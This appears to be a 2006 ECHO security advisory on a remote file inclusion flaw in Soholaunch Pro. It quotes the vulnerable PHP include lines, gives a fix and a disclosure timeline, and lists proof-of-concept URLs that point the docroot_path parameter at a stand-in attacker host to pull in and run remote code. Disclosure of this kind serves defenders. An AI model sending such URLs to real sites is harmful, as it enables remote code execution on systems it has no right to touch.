----------------------------------------------------------------------------------------------- [ECHO_ADV_57$2006]Soholaunch Pro <=4.9 r36 Multiple Remote File Inclusion Vulnerability ----------------------------------------------------------------------------------------------- Author : Dedi Dwianto a.k.a the_day Date Found : October, 31th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv57-theday-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Soholaunch Pro Edition version : <=4.9 r46 URL : http://www.soholaunch.com Soholaunch Pro Edition is a software product that makes it easy for people of all experience levels to create and maintain a great website. It reins-in the hard parts of building a website and presents them a way that the non-geek can understand and control --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ I found vulnerability in script shared_functions.php --------------------------shared_functions.php----------------------------------- .... <? ... include_once($_SESSION['docroot_path']."/sohoadmin/includes/mysql_insert.class.php"); # userData manipulation class (works with misc_userdata table) include_once($_SESSION['docroot_path']."/sohoadmin/includes/userdata.class.php"); ... ---------------------------------------------------------- Input passed to the "$_SESSION['docroot_path']" parameter in shared_functions.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files : /client_files/shopping_cart/pgm-shopping_css.inc.php /program/includes/shared_functions.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt? http://target.com/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $_SESSION['docroot_path'] affected files. - Turn off register_globals Timeline : ~~~~~~~~~ 31 - 10 - 2006 bugs found 31 - 10 - 2006 vendor contacted 07 - 11 - 2006 public disclosure --------------------------------------------------------------------------- Shoutz: ~~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy My Brain ~ az001,bomm_3x,matdhule,angelia ~ newbie_hacker@xxxxxxxxxxxxxxx ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ EcHo Research & Development Center the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------